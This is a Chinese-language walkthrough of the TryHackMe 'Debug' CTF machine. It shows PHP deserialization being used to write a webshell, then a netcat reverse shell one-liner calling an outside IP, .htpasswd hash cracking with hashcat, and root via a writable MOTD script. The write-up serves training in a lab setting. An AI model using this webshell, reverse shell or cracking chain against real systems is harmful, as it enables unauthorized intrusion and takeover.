TryHackMe-Debug(ez php反序列化)
Debug
Linux机器CTF!您将了解枚举,查找隐藏的密码文件以及如何利用php反序列化!
端口扫描
循例,nmap
Web枚举
进到web是apache默认页面,直接开扫
由于题目告诉我们涉及php反序列化,那直接找php文件来看,这里下载index.php.bak
PHP 反序列化
非常简单的反序列化
”所有php里面的值都可以使用函数 serialize () 来返回一个包含字节流的字符串来表示。. unserialize () 函数能够重新把字符串变回php原来的值。. 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。. 为了能够 unserialize () 一个对象,这个对象的类必须已经定义过。. 如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。. 如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义“
<?phpclass FormSubmit {public $form_file = 'message.txt';
public $message = '';public function SaveMessage() {$NameArea = $_GET['name'];
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";}public function __destruct() {file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';}}// Leaving this for now... only for debug purposes... do not touch!$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);$application = new FormSubmit;
$application -> SaveMessage();?>
这里对debug参数进行反序列并执行函数
$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);$application = new FormSubmit;
$application -> SaveMessage();
这里直接劫持form_file和message参数,然后重新序列化
public $form_file = 'cmd.php';
public $message = '<?php @system($_GET["cmd"]);?>';
$obj = new FormSubmit();echo serialize($obj);
传过去:
开启nc监听,然后直接reverse shell
payload:
mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1
加固shell:
python3 -c "import pty;pty.spawn('/bin/bash')"
横向移动
在home目录下有两个文件夹,但是无权访问
再看看服务账户的家目录下,看一下.htpasswd发现了james的凭据
这里可以使用hash-identifier查看类型然后再查看hashcat -h找找类型值
为了方便我这里使用haiti-hash,这个工具直接给出hashcat和john的对应类型值
hashcat爆破:
hashcat -a 0 -m 1600 ./hash /usr/share/wordlists/rockyou.txt
直接登录james的ssh
权限提升
查看.bash_history
发现该目录下的文件james组有权修改,这里可以执行命令
修改00-header
重新登录james的ssh
getroot
TryHackMe-Debug(ez php反序列化)相关推荐
- 缓存处理类(MemoryCache结合文件缓存)
想提升站点的性能,于是增加了缓存,但是站点不会太大,于是不会到分布式memcached的缓存和redis这个nosql库,于是自己封装了.NET内置的缓存组件 原先使用System.Web.Cachi ...
- HandyJSON阅读笔记
2019独角兽企业重金招聘Python工程师标准>>> HandyJSON仓库: https://github.com/alibaba/HandyJSON HandyJSON 花了一 ...
- aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式
点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...
- java反序列化漏洞的一些gadget
目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...
- 面试:什么是序列化,怎么序列化,为什么序列化,反序列化会遇到什么问题,如何解决?...
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | riemann_ 来源 | blog.csdn ...
- C#序列化反序列化对象为base64字符串
2019独角兽企业重金招聘Python工程师标准>>> 之所以序列化为base64 字符串 方便传输,可存储在本地 也可以是服务器 public class Serializer{p ...
- python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题
Python Pickle反序列化带来的安全问题 GaRY | 2013-01-14 15:00 Author: wofeiwo#80sec.com 数据序列化,这是个很常见的应用场景,通常被广泛应用 ...
- 第四节:IO、序列化和反序列化、加密解密技术
一. IO读写 这里主要包括文件的读.写.移动.复制.删除.文件夹的创建.文件夹的删除等常规操作. 注意:这里需要特别注意,对于普通的控制台程序和Web程序,将"相对路径"转换成& ...
- 【WEB安全】Xstream最新反序列化poc执行报错问题
前言 最近有个需求,用Xstream反序列化打个内存马,从通用性来讲,肯定用1.4.17的洞去打应用范围最广.众所周知,Xstream官方会提供其漏洞的poc.在我实验之下,1.4.17的几个poc只 ...
最新文章
- VUE中使用Echarts绘制地图迁移
- 女生参加软件测试培训合适吗
- GEMM性能提升200倍,AutoKernel算子优化工具正式开源
- 选择开源项目的时候,哪些因素是最需要考量的?
- mysql数据库语句分类_细数MySQL中SQL语句的分类
- ZooKeeper官方文档学习笔记03-程序员指南
- 【QCustomPlot】1.0 - QCustomPlot库添加到自己的工程、创建工程
- centos 6.5安装extundelete软件报错
- 代码行数统计工具cloc
- python中pip安装报错的一些总结
- 04网络爬虫-批量下载网站图片
- 正向/逆向最大匹配法分词实现
- 键盘修改器,绝对管用
- 前端字体图标的使用(阿里、icomoon)
- VR购物Buy+是否会让线下实体店渐渐消亡?
- 一个程序员修炼之道《论程序员的自我修养》
- 小米步童鞋店在这次交易中到底损失了多少钱
- ADC时钟与采样周期的作用
- c语言程序设计第一次月考考试重点,月考小技巧,助你得高分
- oracle 官网邮箱和密码是什么,我是如何进入21cn内网的(可能获取用户邮箱密码)...